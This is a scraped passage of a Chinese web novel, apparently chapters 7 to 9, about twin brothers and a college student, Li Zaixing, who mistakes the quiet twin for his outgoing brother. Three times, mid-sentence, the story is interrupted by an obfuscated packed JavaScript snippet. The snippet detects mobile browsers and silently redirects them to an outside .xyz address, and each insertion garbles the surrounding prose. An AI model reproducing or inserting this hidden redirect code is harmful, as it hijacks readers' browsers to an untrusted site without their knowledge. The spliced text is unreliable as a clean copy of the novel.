季行月怎么可能承认自己这毫无男子气概的易受惊体质,笑着逞强:“没呢,我装出来逗你的。” 他适时转移话题,“我们进去吃饭吧,再晚就该吃剩菜了。” 李再星跟着他走进食堂,这个时间,食堂里已经坐了不少人。 两人排队打完饭,好不容易才找到个面对面的空位坐下。 吃着饭时,李再星问:“怎么突然想起请我吃二食堂?” 季行月腹诽,当然是因为季舒阳。 他看穿季舒阳的私心,是想将错就错,继续用他的身份和李再星相处,却偏偏对他的提议始终不表态。 他没那个耐心耗下去,直接约了李再星吃饭,赶鸭子上架让季舒阳赴约。 为了让季舒阳少些顾虑,避免遇到自己在经管系的各种熟人而露馅,季行月还特意把吃饭地点安排在离经管系宿舍最远的二食堂。 他贴心地把戏台子都搭好了,季舒阳却突然罢演了。 二十分钟前,季舒阳突然给他打电话,只说了两句就挂断。 第一句,“我不会跟李再星见面。” 第二句,“如果你今天放她鸽子,我马上回学校住。” 季行月气得要死,昨晚他感冒加重,今天身体难受到连上午的课都翘了,在家睡觉休息。 就因为这通电话,他手忙脚乱从床上爬起来,火急火燎刷牙洗脸,随便套了件衣服和帽子就出了门。 他连睡乱的鸟窝头都来不及收拾,更别说打扮自己,所以今天穿得格外朴素,朴素到他脑子发昏。 季行月暗暗磨牙,脸上还是朝李再星挤出一个笑:“今天天气好,下午又没课,我想着吃完饭跟你一起去看看小猫。” 李再星笑了:“看来你是真的撸猫撸上瘾了,那我们待会儿吃完饭先在南校这边逛逛,看看能不能遇到流浪猫,没有的话就去北校的猫咪天堂,它们一定在那晒太阳。” “好啊。” 季行月扯了扯嘴角。 好累,好像回家睡觉。 本来就觉得脑子发昏,还要在这演戏应付人,他只觉脑浆都快烧干了。 满怀哀怨之时,季行月忽觉后背一凉。 他下意识抬头环顾,瞥见李再星身后某个餐桌角落的某张熟悉的脸,心脏都惊得漏跳一拍。 那人赫然是声称今天不会来见李再星的季舒阳。 季舒阳正毫不掩饰地盯着这边,脸上面无表情,阴恻恻的视线直直地往他身上刺。 “……” 季行月被那阴沉的目光盯得背后发毛。 他哥什么时候往男鬼方向发展了,大白天的要吓死人啊! 这必然不是什么嫉妒的目光。 季行月一万个肯定。 没有什么神奇的双胞胎心灵感应,是他太了解季舒阳。 比起嫉妒他能和李再星一起吃饭,季舒阳只会更关心李再星跟他吃饭时会不会不开心,会不会被他亏待。 所以,季舒阳这是在监视他。 一旦他让李再星受委屈了,回家绝对要遭殃。 季行月眼角直抽,默默收回视线。 又忽地灵光一闪,想到一个既能让自己不遭殃,又能让季舒阳吃瘪的好主意。 “李再星,你要看手相吗?”季行月忽然问。 李再星跟不上他的脑回路:“现在?” 季行月:“对,就现在。” 李再星有些莫名其妙,吃着饭呢,突然看什么手相啊? 但她还是把右手伸出去。 季行月立刻抓住她的右手,装作模样地拿着看。 两人的手握在一起,他的手显然大了一圈。 李再星之前在他的朋友圈见过他弹吉他的视频,那时就注意到,他有双漂亮的手,这会儿近距离看,更加精致。 手掌宽大,肤色很白,手指修长又具有骨感,指尖一层薄薄的茧。 感受到他掌心传来的过分炙热的体温,李再星也是慢半拍地反应过来,现在算是一种变相的牵手。 她有些不好意思地问:“看出来什么了吗?” 季行月一本正经胡说八道:“你今年桃花很旺。” 李再星忽然觉得不莫名其妙了。 这分明是在跟她暗示,他是她的桃花吧? 不,不是暗示,这都已经摆到明面上说了。 感谢青安大学感谢502宿舍,感谢恋爱大师许曼同志。 李再星心里笑开了花,仿佛已经奏响了颁奖典礼的前奏,但嘴上还是装出几分羞涩矜持:“我这人不贪心,一朵桃花就够了。” “一朵怎么够,当然是越多越好,”季行月继续胡编乱造,张口就来,“你今年至少三朵桃花。” “……啊?” 李再星再一次跟不上他的脑回路。 这又是什么意思? 不是在暗示他是她的桃花吗?敢情是真在给她看手相? 季行月嘴上胡乱应付她,一边飞快往季舒阳那边瞥了一眼。 季舒阳果然已经没再看这边,低下了头,肉眼可见的萎靡。 哈!扳回一局! 让你用回学校住的事威胁我,让你不接受我的提议,现在连嫉妒的资格都没有,就这么萎着吧! 看到季舒阳吃瘪,季行月高兴得脑子都在发昏。 他收回视线,同时也松开李再星的手。 却在这时,反被对方抓住。 李再星紧抓着他的手,“我从刚才开始就觉得奇怪。” 季行月心里一惊,“怎、怎么了吗?” 该不会是发现了他在瞎编乱造吧? 他心虚地看着李再星,后者眉心紧拧盯着他,像是要从他脸上探查出什么。 “你……” 随着她开口,季行月整颗心都跟着提起来。 “你是不是发烧了?”李再星问。 没头没尾的一句,季行月直接懵了:“啊?” 李再星直接起身探过来,手心覆上他额头。 刚贴上去,被他的体温烫到吸冷气,“你这脑门烧得都能煎鸡蛋了!” 季行月仍然懵逼,大脑运行的速度比以往慢了几倍。 原来他这会儿脑子发昏不是因为太高兴,而是因为在发烧吗? 人的脑门上真的能煎鸡蛋吗?会不会煎出流心蛋? “别吃了,走,我们去校医务室,你得赶紧打退烧针。” 李再星饭也不吃了,二话不说收了两人的餐盘,拉着季行月就往校医务室走。 还看手相看桃花呢,她就说季行月今天怎么奇奇怪怪,原来是发烧把脑子给烧糊涂了。 39.2℃。 季行月确实烧得有些糊涂了,不然也不会这么稀里糊涂地就被李再星拽到校医务室。 等他反应过来,校医已经拿出了针筒。 “……等等等等!”季行月连连后退,“我发烧吃个退烧药就行了,不用打针。” “打针好得快!” 李再星二话不说把他摁到床上,“你上周末就在咳嗽,要是吃药管用,今天也不会烧成这样。” “那是因为我……没吃药……” 季行月说这话的底气有些不足。 因为逃避吃药导致感冒加重,这种孩子气行为实在有损他的帅哥形象。 但为了不打针,有损形象也只能如实交代。 李再星却更坚持,“那就更要打针了!” “你既不吃药又不打针,这感冒怎么能好?”她振振有词,这一刻仿佛化身专治熊孩子的家长。 季行月顿时变成遇见杰瑞表哥的汤姆,弱弱开口:“我、我现在马上吃退烧药行不行……” 好看的人一旦示弱就变得我见犹怜,见他可怜兮兮的模样,李再星也有些心软,她看向医生。 医生端着输液托盘走过来,热情如过年迎客的亲戚,“来都来了,打一针再走吧!” 季行月两眼一黑。 来都来了——必须登顶他今年最讨厌的一句话! 消毒,扎针,点滴调速。 李再星守在旁边看着医生给季行月挂上点滴,后者把头撇到一边,刻意不去看被扎针的手,另一只手紧紧握拳,那模样跟她小表弟打针时一模一样。 李再星问:“你是不是害怕打针?” 季行月纠正:“不是害怕,是讨厌。” 李再星不明白这有什么区别。 见她不信,季行月有理有据解释:“我不喜欢针扎进血管的触感,也不喜欢冰凉的液体流进身体的感觉。” “原来是这样,”李再星煞有其事跟着点头,又可惜道,“早知道刚刚让医生给你打屁股针。” “……那更痛!” 季行月反应激烈。 察觉自己语气激动,又咳了咳,“我的意思是,但凡是尖锐物品,我都不喜欢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484287|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所以本质还是怕痛。 李再星看他强行挽尊,就为了掩饰自己害怕打针,憋了一会儿还是没忍住,低头笑得肩膀直颤。 “你笑什么?”季行月语气颇为不满。 李再星觉得得给他留点面子,憋着笑找借口,“我忽然想起昨天刷到的笑话。” 她的借口根本毫无说服力。 季行月自暴自弃道:“算了,你笑吧,总之今天是我脑子烧糊涂了,不是真正的我。” 说完,他把被子往头顶一扯,连同脑袋一起盖住。 偏偏他戴了个棒球帽,帽檐将被子顶出一个凸起。 李再星隔着被子轻轻拍了拍他手臂,“戴着帽子睡觉不舒服,你要不要取下来再睡?” 季行月毫不犹豫拒绝,“不用。” 李再星以为他在因为她笑他怕打针的事闹别扭,继续劝他,“还是取下来吧,我帮你取?” 她话音才落,季行月的另只手就先一步摁在了头顶,小声嘀咕了一句什么。 隔着被子,李再星没听清,问了句。 季行月把被子一掀,露出张幽怨又别扭的脸:“我没洗头。” 李再星愣住。 反应过来时,连低头都来不及,当场就笑出声来。 季行月整张脸慢慢变红,不是因为羞涩,而是因为羞耻。 该死的,今天真是丢脸丢到家了! 李再星都快笑出了眼泪,跟他也见了好几次面,有时候觉得他有点装模作样,有时候又觉得他安静过头,今天又有个新发现。 “如果我说你可爱,你会生气吗?”李再星擦了擦笑出的眼泪,问。 季行月一脸无语:“真怕我生气就不该问这种问题。” 李再星嘿嘿笑了声:“但我还是要说,你今天真的很可爱。” “……” 季行月自暴自弃闭上眼,装没听见。 这根本不是夸奖,这是对他这些丢脸事的委婉表达。 这算是报应吗? 他故意设计让季舒阳吃瘪的报应。 看吧,连老天都偏爱季舒阳。 季行月不想说话,闭着眼睛逃避现实。 又突然睁开眼,没打针的右手伸进裤兜,摸出张学生卡,递给李再星。 对上后者不明所以的视线,季行月说:“不是因为我都没吃完饭吗?用我的卡去买点东西吃。” 这和季舒阳有没有在监视无关,她总归是因为他没好好吃完饭。 李再星眨了眨眼,他确实是个绅士的人,即便这会儿因为丢脸而懊恼,也没忘记这份细心。 她没有推辞,接过他的卡,“你有没有想吃的,我帮你买回来?” 季行月视线往上,示意了眼输液架上挂着的几瓶药水,“我这得几个小时,你在那吃完就回去吧,不用跟我在这耗着。” “那怎么行,”李再星自然没有听他的建议,“一个人打针很孤独的,反正我下午也没课,就让我陪你待着吧。” 季行月不喜欢欠人情,但说服不了她,“那你想吃什么就多刷点,别给我省钱。” 李再星笑着说了好,又问到他想吃什么,拿着他的卡离开医务室。 这个时间点,食堂基本收了摊,倒是有馆子一天常开着,但李再星不太想在外面耗太久,就去了趟便利店,买了点自己吃的面包酸奶,和季行月要的柠檬茶。 回到医务室,季行月看到她的第一句话,“你手机微信一直在响,你看看是不是有什么急事。” 李再星这才发现自己把手机落在了这里,拿起手机看了眼,几十条微信消息,全是韩栀子发来的。 韩栀子估计今天也没课,几十条微信消息一半是自拍照片,肉眼可见已经兴奋到走火入魔的地步。 李再星扣了个1表示已阅,回复:正在陪crush,勿扰。 多年默契无需多言,见色忘友约定俗成,对方秒回了个ok,和一连串红唇、坏笑的emoji。 “不是急事,是我朋友。” 李再星放下手机,帮他拧开瓶盖,把柠檬茶递给他,“对了,她就是我之前跟你说同校的那个朋友,说不定你还认识。” 虽说他现在在挂点滴,单手不方便开瓶,但她帮他拧瓶盖帮得未免太顺手了点。季行月有些别扭地接过柠檬茶,道了声谢,随口问了嘴:“是吗,她叫什么?” “韩栀子。” “……” 季行月差点把刚喝进去的柠檬茶给喷出来,“你说谁?” 8. 第 8 章 “韩栀子呀。”见他这反应,李再星欣喜问:“你认识她?” 这可太认识了。 高中开学典礼上惊艳到他的那个女生,正是韩栀子。 季行月不太自然地说:“只是知道她的名字。” 他和韩栀子确实没有正面接触过,知道韩栀子对季舒阳感兴趣后,他就立刻没了心思,两人又不同班,连楼层都不一样,高中都没说过话。 李再星为此有些可惜,但也没觉多意外。 上周末跟季行月吃完饭后,她就给韩栀子实时转播了当天的约会情况,提到了季行月高中也在明礼念书。 韩栀子表示对这人没印象,明礼姓季的人,她只知道她班长。 她高中时也确实两耳不闻窗外事,一门心思要摆脱万年老二这称号。 在李再星颇感遗憾时,季行月今天格外迟钝的大脑忽然拐过弯来。 韩栀子和李再星是好姐妹,韩栀子喜欢季舒阳,季舒阳又喜欢李再星,这不纯纯三角恋吗? 狗血,真是泼天的狗血! 这种狗血三角恋竟然就发生在他眼前。 季行月一脸复杂地看向李再星。 察觉他视线,李再星不明所以眨眨眼,又想到什么,立刻了然,从椅子上起身,抬手把输液瓶取下来,举过头顶,“走吧。” 季行月茫然:“走去哪里?” 李再星朝他爽朗一笑,露出唇下的小虎牙,“你不是尿急想去洗手间吗?” “……” 季行月一言难尽闭上眼。 这个憨憨,季舒阳怎么会喜欢上她? …… “我离谈恋爱真的不远了!” 李再星第n次在宿舍说这句话。 她兴奋开启说书先生模式,把自己和季行月在医务室的相处从头到尾给室友们讲了遍。 关柔听得津津有味,看过很多恋爱小说的王佳佳却若有所思:“总觉得缺了点什么。” 两双眼睛齐刷刷看向她,求知若渴,异口同声:“缺了什么?” 王佳佳掰着手指头说:“心动,暧昧感,粉红泡泡。” 李再星一愣,从头到尾把今天飞快复盘,虽然和季行月相处得很愉快,但这种愉快确实没有许曼说的这些感觉,把事件里的主人公换成除季行月外的其他人,好像也一样会这么愉快。 李再星从一开始的欣喜变成惊慌:“那该怎么办?” 关柔简单粗暴:“换个crush。” 李再星当然不同意,“可我现在还是对他有好感。” “那就继续跟他处着,反正只是暧昧,又没交往,”王佳佳洒脱道,“就算交往了,男人而已,不合适就换。” 李再星还是觉得郁闷,“为什么会没有暧昧感呢?他今天穿得也不潮呀?” “心动这种东西很玄学的,就那么一瞬间的感觉。” 见她闷闷不乐,关柔安慰道:“好啦,别郁闷了,明天周末没课,我们今晚下馆子去,畅快喝一通。” …… “那个……季舒阳,你光喝酒,很快就会醉的。” 桌上的空酒瓶已经摆了几列,董博远战战兢兢地劝季舒阳少喝点。 “知道了。” 被他劝的男生只淡淡回了这么一句,又继续往酒杯里倒满啤酒。 董博远很头疼,实在后悔今天在路上喊季舒阳一起吃饭。 他和季舒阳做了一年的室友,关系相较于其他同学来说更亲近。 季舒阳虽然看着是个沉默寡言性格阴沉的人,但去年一年接触下来,他比想象中好相处。 之前某个公选课需要做小组作业,董博远恰好跟他分到同组。小组五个成员,三个想浑水摸鱼搭便车。 课题任务繁重,董博远这组长虚有其名,根本喊不动人。 就在他叫天天不应叫地地不灵时,季舒阳找上他,雷厉风行重新制定任务分配,一个人包揽三个人的活。 最后,小组作业顺利完成,并且,季舒阳删了那三个浑水摸鱼同学的署名,丝毫没给商量余地。 那三个同学由此记恨在心,到处歪曲事实,说季舒阳故意在一开始丢给他们完不成的活所以没法做,还归咎到季舒阳的性格,说他冷漠孤僻,仗着自己成绩好就高高在上,难以沟通。 尽管董博远和另一个组员为他到处辟谣,跟人据理力争,但三人成虎,再加上季舒阳平日确实独来独往,待人冷淡,于是他不懂为人处事的传言就这么传开,许多人都因此对他敬而远之。尤其是男生。 因为那三个组员也都是男生,其中一个还跟他们一个宿舍。 董博远一度觉得,季舒阳大二开学搬出去住,是不是有这个原因。 不过,季舒阳从来没对那些传言表过态,就算董博远忿忿在他面前提及,他也只有一个态度。 就好比刚才劝他少喝点酒那样,淡淡回一句“知道了”,接着就像什么都没听到一样继续做自己的事。 说来今天也奇怪,董博远以前每次约季舒阳吃饭,他十次里有八次直接拒绝,剩下两次会给个理由再拒绝。 今天却在拒绝后又忽然反悔,答应了。反常得很。 而且坐到现在根本就没吃饭,光顾着喝酒。反常×2。 董博远正琢磨这反常是怎么回事,忽听季舒阳问:“我和季行月……很难分辨吗?” “没有啊,”董博远毫无犹豫地回答,“你们俩性格差那么多,穿衣风格也不一样,挺好认的。” 季舒阳低下眼,看着酒杯里的啤酒泡沫,也不知道在想什么,浑身上下弥漫低气压。 董博远马上意识到自己这回答似乎刺激到了他,连忙补救:“但你们俩确实长得比一般的双胞胎更像,咱们系今年刚搬来本部那会儿,很多人不知道你们是双胞胎,还以为你们俩是同一个人呢。” 他以为往反方向说会让季舒阳心里好受点,然而,听他说完后,季舒阳肉眼可见地更萎靡。 董博远顿时觉得自己像只站在天秤上的狗,往这边走,是让季舒阳受打击,往那边走,还是让季舒阳受打击。 他实在没办法了,不过从季舒阳的这个问题猜出了一点苗头。 “是谁把你和季行月认错了吗?直接告诉他不就行了?”董博远暗示他去学会迁怒,“让他跟你道歉!必须道歉!” “……是我该跟她道歉。”季舒阳低声喃喃。 他声音太低,董博远没听清,又问了句。 季舒阳却忽然起身,“我去外面抽根烟。” 他丢下这句话就往外走。 桌上的啤酒基本都是他一个人干完的,却丝毫不见他走路有半分摇晃,人也不见醉意。 董博远看着这一桌被季舒阳摆得整整齐齐的空酒瓶,啧啧感慨:“大神果然在哪方面都是大神,可真能喝啊。” …… “……不行,再喝下去我要吐了。” 王佳佳第一个投降,捂着翻涌的胃往桌上一趴。 她本来就吃得多,喝了点酒就马上觉得刚吃下去的猪牛羊在胃里开运动会。 “这才喝了几瓶就不行了,”最能喝的关柔对她的酒量感到质疑,要跟李再星继续,扭头却不见人影,“咦,我们星呢?” 醉意朦胧眯着眼,“说是突然想吃甜的,买冰淇淋去了。” 关柔一听到冰淇淋就仿佛被冻着了一样,打了个寒碜,“这大冬天的,她真是不嫌冻啊。” 李再星确实被冻着了,在冷风里结实地打了个大喷嚏。 她醉得脑子都不怎么能正常思考,连脱下来挂在店里的外套都没穿,就这么摇摇晃晃地出了门。 街边路灯已经亮起,弯月悬在漆黑天际。 冷风一个劲往李再星脖子里灌,醉醺醺的脑袋也还是没想到要回去拿外套。 她缩着脖子低着头,哆哆嗦嗦地往便利店的方向走,一边碎碎念叨着:“好冷好冷好冷……” 就这么埋头只看着地面走时,脑袋忽然撞上一堵硬邦邦的胸膛。 她脚步虚浮一跌,差点摔倒之际,忽觉手臂一紧。 一只修长有力的手抓住她的手臂,将她扶住。 李再星起初以为撞上了路灯杆,醉意朦胧地抬头,先入目的是线条流畅利落的下巴颏儿,再往上,是微微抿起的淡色薄唇,看着好像很好亲的模样。 她一路往上的视线终于看清对方的全部正脸,路灯的光落在少年宽阔的肩头。 李再星眼睛一亮,惊喜笑出来:“季行月?怎么是你啊!” 季舒阳抿着唇,半张脸隐在光线的阴影里,声音有些冷,“我不是他。” 李再星耸着鼻子嗅了嗅,闻到他身上的酒气,以为他也醉了,傻呵呵笑了:“你不是谁是?” 季舒阳确实喝了不少酒,没醉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484288|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到说胡话的地步,但会生闷气,“反正我不是。” 他声音闷闷的,听在李再星耳朵里,像是在闹别扭。 “好嘛好嘛,你不是,”李再星拍着他的手臂安抚他,“那你是谁呢,请告诉我吧~” 一副哄小孩的语气,根本还是没当真。 季舒阳低头看着她,双眸黑而深沉,像冬夜的海面,情绪在其中翻涌。 头顶的路灯出现故障,昏黄的光线毫无规律地闪烁了几下。 “你怎么一个人在这?”季舒阳到底还是没说,换了个话题。 “不是一个人,我和我室友们在一起呢,我出来买冰淇淋吃。” 李再星丝毫不觉话题被转移,碎碎念一样否认,又仰起脑袋,眯着眼睛望向故障的路灯,像觉得新奇的小孩,“咦,这路灯好像坏了,是不是要打电话报修?” 喝醉酒的她思维跳跃,想一出是一出。 季舒阳看她身上只一件单薄毛衣,连外套都没穿就出了门,眉心皱得更深,“你们在哪家店喝酒?” “我得先去买冰淇淋~” 李再星答非所问,染了醉意的嗓音像被甜酒浸过,比平时软上几分。 看来不遂她的愿就问不出有效信息,季舒阳无奈叹气,松开她的手臂,将自己的羽绒服外套脱下来,想披到她身上,却被李再星伸手拦住。 “不行,我不能抢你的衣服穿,”李再星义正词严,“你是病人!” 季舒阳动作一顿。 感冒生病的人不是他,被她关心的人也不是他。 “……我没生病。” 季舒阳硬邦邦否认,强行把外套披到她身上,“伸手。” 喝醉的李再星被他冷硬的语气唬住,老老实实地伸出左手,穿进袖子里。 “另一只。”季舒阳再次下指示。 李再星乖乖照做。 两人身高体型差上很多,这短羽绒服外套穿在她身上,不管袖子还是衣摆都长过一大截,显得宽松又臃肿,像个软扑扑的小球。 季舒阳弯下腰,帮她把外套拉链拉上,“现在走吧。” 李再星弱弱地问:“走去哪呀?” 季舒阳:“不是要去买冰淇淋吗?” 李再星偷偷瞥他,见他侧脸线条微绷,咬肌收紧,是隐忍不悦的神态。 她小心翼翼试探:“你是不是生气了?” 季舒阳顿了几秒,否认:“……没有。” 明明就在生气。 即使喝醉了,李再星也还是能分辨出人的情绪好坏。又或许,是他太不会撒谎。 李再星想了想,艰难地从长过一截的羽绒服袖子里伸出手,去抓住他的手指。 被她抓住的手指蓦地僵住,连同他整个人。 季舒阳本想挣脱她,但她的手指被冻得冰凉,凉到他想要把最后一丝体温分给她。 李再星微微仰头,路灯的灯光将她的五官轮廓晕染得十分柔和,染了几分醉意的杏眼像星星般明亮。 “我买冰淇淋给你吃,别生气了好不好?” 见他不应,她攥着他的手指轻摇,冲他傻笑,“好不好呀,月月?” 季舒阳看着她。 心脏像捆绑了千斤重的石头后被丢进深海,沉重又窒闷。 头顶的路灯再一次闪烁,似乎即将撑到极限,灯光明明灭灭,隐约可闻电流噼啪声。 他耳畔响过季行月的诘问,一句又一句,宛如沾了毒药的花刺,裹了蜜糖的砒霜,尖锐,甜美,充满诱惑。 ——哥不是已经被拒绝过了吗? 是,从一开始就被拒绝了,我是失败者。 ——不是想留在她身边吗,为什么不继续用我的身份跟她做朋友? 没错,几次碰面,她对我的亲切都是因为你。 ——不会被发现的,谁让我们是双胞胎呢。 不会被发现的,反正我们是双胞胎。 ——所以,哥想好了吗? 故障的路灯“啪”的一声熄灭。 像骤然按下的休止符,心脏沉入海底,束缚的锁链松开。 痛苦挣扎的眼睛彻底被湮没在阴影里。 残月高悬的冬夜,朦胧月光薄凉地落在他们身上。 终于,季舒阳回握住她冰凉的手。 学习着,模仿着,他弯起眼睛,牵起嘴角,扯出温柔的笑:“好,我答应你。” 9. 第 9 章 “我完蛋了。” 这是李再星酒醒后的第一句话。 一觉醒来天都塌了,无需别人帮她回忆,她一睁开眼睛,意识回笼,昨晚醉酒后发生的事就跟电影幻灯片似地在脑子里自动播放。 李再星哆哆嗦嗦爬下床,朝已经醒来有一会儿,正在用美容仪消水肿的关柔小声求救,“怎么办,我昨天晚上跟我crush耍了好一通酒疯!” 关柔从容不迫地沿着下颚线滚动美容仪,“放心,耍个小酒疯而已,只要没酒后乱性,一切都好说。” 李再星今天是在宿舍醒过来的,酒后乱性自然不可能。 “可是耍酒疯是仅次于酒后乱性的大社死啊!” 关柔不以为然:“如果一个男人对你有意思,你就算酒后围着他跳大神,他都只会觉得你可爱。” “他要是不这么觉得呢?” “那这个男人可以换了。” “……” 李再星确定自己昨晚没围着季行月跳大神,但也差不多了。 她记得她不仅牵了季行月的手,还跟他撒娇喊他月月。 这就足够社死了,更不堪入目的是之后的事。 买完冰淇淋之后,她看季行月被风吹得很冷,于是把外套拉链一拉,两只手抓着衣服边,跟个变态似地朝他敞开,大声跟他吆喝,让他过来抱着她取暖。 脑海中闪过那个画面的瞬间,李再星脚趾狠狠抓地,绝望捂住脸。 19岁的人生,活到今天,她第一次知道自己原来是个女流氓。 季行月当时是什么反应来着?真的抱住了她吗? 无论李再星怎么往回想,都想不起来。 但她猜测,季行月当时一定很无语,对她的好感一路跌到负数也不为过。 地球好难待,想上宇宙飞船…… 李再星像颗蔫掉的小白菜,垂着无力的手臂,弯腰驼背地坐到书桌前。 不经意看见桌上放着陌生的黑色羽绒服外套,她愣了愣,想起来是季行月昨晚脱给她的。 这大概是她最后一次穿季行月的衣服了吧。 李再星悲从中来,一个鲤鱼打挺站起,把这件外套重新穿身上,听到口袋里传来什么物件碰撞声响,掏出来一看,是一盒已经开封的香烟和一只打火机。 李再星有些惊讶,没想到季行月还吸烟,他看着不像是会吸烟的人。 不过他那双手那么漂亮,修长的手指夹着香烟,缥缈烟雾在指间缭绕的模样,光是想想,就性感得要命。 李再星把东西揣回兜里,正好醒来的王佳佳,听到她窸窸窣窣的动静,转过身来,看见她这臃肿夸张的打扮,沙哑着声音问:“你这是在cosplay企鹅?” 李再星严肃道:“这是我crush的衣服。” “所以?” “我们俩的交集可能到此为止,”李再星一脸悲伤,“最后一次穿他衣服,还回去之前,我要穿回本。” 王佳佳:“……” 没救了,这孩子已经从流氓发展成了痴汉。 李再星对着她crush耍酒疯的事,关柔是知道的。 昨晚她见李再星离开太久,就出来找人,结果就是,刚好撞见她那醉酒的室友朝一个男生大敞着外套扑过去的流氓行径。 关柔生怕下一秒要去警察局捞人,第一时间跑过去制止,跟那个男生道歉。 对方却丝毫没有被冒犯的生气,不仅没生气,还很温柔地扶住李再星。 在李再星捧着他的脸胡作为非占便宜的时候,他还一边耐心地哄着她,一边给她重新拉好拉链。 关柔之前在李再星手机里见过一次她crush的照片,也是在这时候才认出他。而李再星身上那不合尺寸的衣服,一看是他脱下来给她的,最后也是他帮忙把李再星送到宿舍楼下。 就连没谈过恋爱的关柔都能看出来,昨晚那个男生对李再星的态度,李再星是真离谈恋爱不远了。 关柔看了眼李再星,后者已经开始闻起衣服气味,活脱脱痴汉行径。 ……算了,还是不把这事告诉她,不然尾巴翘上天。 李再星势要把这件衣服穿回本,下半张脸都缩进外套领子里。 外套上残留着一丝的酒气,还有男生身上的气息,淡淡的木质香。 咦,似乎和上次的柑橘调不一样。 李再星嗅到一半发觉不对。 手机忽然“叮”地响了声。 拿起一看,是她的酒疯受害者发来的短信,问她醒了没。 李再星顿时有种做坏事被发现的心虚,连忙拿着手机跑阳台上去,关上阳台的门,这才给季行月回拨电话。 电话很快就被接通,李再星开口第一句话就是道歉:“对不起对不起对不起!我昨晚真的喝得太多了!冒犯到你了真的很对不起!” 她诚恳又急切,就差在电话这边九十度鞠躬。 “没关系,我没觉得被冒犯。” 季舒阳的声音从手机那端传过来,语气淡淡的,并没有李再星预想中的嫌弃。 他顿了顿,稍有些生涩补充:“很可爱。” 李再星一愣,脑子里闪过关柔刚才说的话,脸蛋唰地热起来。 她靠在露台,眼睛盯着地面瓷砖的花纹,脚尖在花纹上无意识地轻点,声音无意识地多了几分做作,“我昨晚抢了你的衣服,你有没有着凉呀?” “没有,”季舒阳反问,“你呢,宿醉后有头疼吗?” 李再星在手机这边摇了摇头,尽管对方并看不见。 “就是有一点想吐,胃不太舒服。” “那你有想喝的汤吗?我给你做。” 李再星受宠若惊:“你、你给我做?” 季舒阳嗯了声:“我住在校外,下厨很方便,做好给你送过去。” “这、这也太麻烦你了,”李再星哪里好意思让他亲自做饭还送过来,但又舍不得错过吃他炖的汤的机会,脑子一抽,脱口而出,“要不我过去吧!” 季舒阳一怔,有些迟疑:“你……要来我家?” 李再星说完就拍着自己的脑门悔恨不已,昨天才耍酒疯冲人耍流氓,今天就跑人家里去蹭饭,这也太、太…… “要我来接你吗?” 李再星还没想到一个合适的形容词来唾骂自己,就听电话那头的男生这么说。 她大脑瞬间短路,慌慌张张地回:“不不不用,你把地址发我就行。” “好,那一会儿见。” 通话结束,李再星人还是懵的。 她刚刚经历了什么? 不仅主动提出去季行月家,还让人家把家里地址告诉她? 季行月还答应了? 李再星兴奋地在阳台上哼哼哈嘿捶打空气,整个人蹦蹦跳跳。 离阳台最近的王佳佳把她在阳台发疯的全程看在眼里,从床上探出脑袋,问已经开始敷面膜的关柔,“我谈恋爱了,也会变得这么神经吗?” 关柔锐评:“你是大学生,那是小学生。” 大学生放心了,被子一盖,继续睡回笼觉。 …… 灰蓝色的被子唰地一下被掀开,从四面八方围攻过来的冷风冻得季行月在梦里打了个寒颤。 他一睁开眼,看见季舒阳那张面无表情的脸,又打了个寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484289|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤。 “你你你干嘛呢?”季行月蜷缩成一团,双手护在胸前,“大早上的搞谋杀?” “十点半不算早上。” “周末中午十二点以前都算早上!” 季行月振振有词,又故意拿他上次凶自己同样的缘由怪罪他:“你怎么不敲门就进来?下次我也不敲你门了!” “是你自己睡得像死猪,没听见。” 季舒阳没时间跟他扯这些,直说来意,“借套衣服给我。” 季行月人有点懵,“你不是一直很嫌弃我的品味,突然穿我衣服做什么?” “我约了李再星见面,”季舒阳顿了顿,补充,“以你的名义。” 季行月愣了好几秒,眼珠子转了好几圈,这才反应过来,“你答应我的提议了?” 他喜出望外,立刻从床上爬起来,也不管冷不冷了,三步并作两步冲到衣柜前,一边给季舒阳挑衣服,一边嘚瑟地马后炮,“我就知道你肯定会答应!” 相比他的欣喜,季舒阳反应冷淡:“你的条件是什么?” 他知道季行月不会无缘无故帮自己,必然有他需要的东西。 季行月挑衣服的动作一顿,拎着几套衣服笑着转身,“我哪有什么条件,我这是乐于助人。” 季舒阳显然不信,“免费的就是最贵的。” 季行月啧了声:“说了又不信,不信又要问。” 他一手拎着一套衣服,往季舒阳身上比划,“行吧,那你每个月的生活费给我一半。” 他其实没想要钱,但季舒阳既然上赶着倒贴,他又怎么可能客气。 “可以,”季舒阳推开他那件过分夸张的拼接绑带毛衣,“前提是你好好配合。” 季行月挑眉一笑:“那是自然。” 季舒阳:“所以,十一点之前离开这里,没我的同意不准回来。” 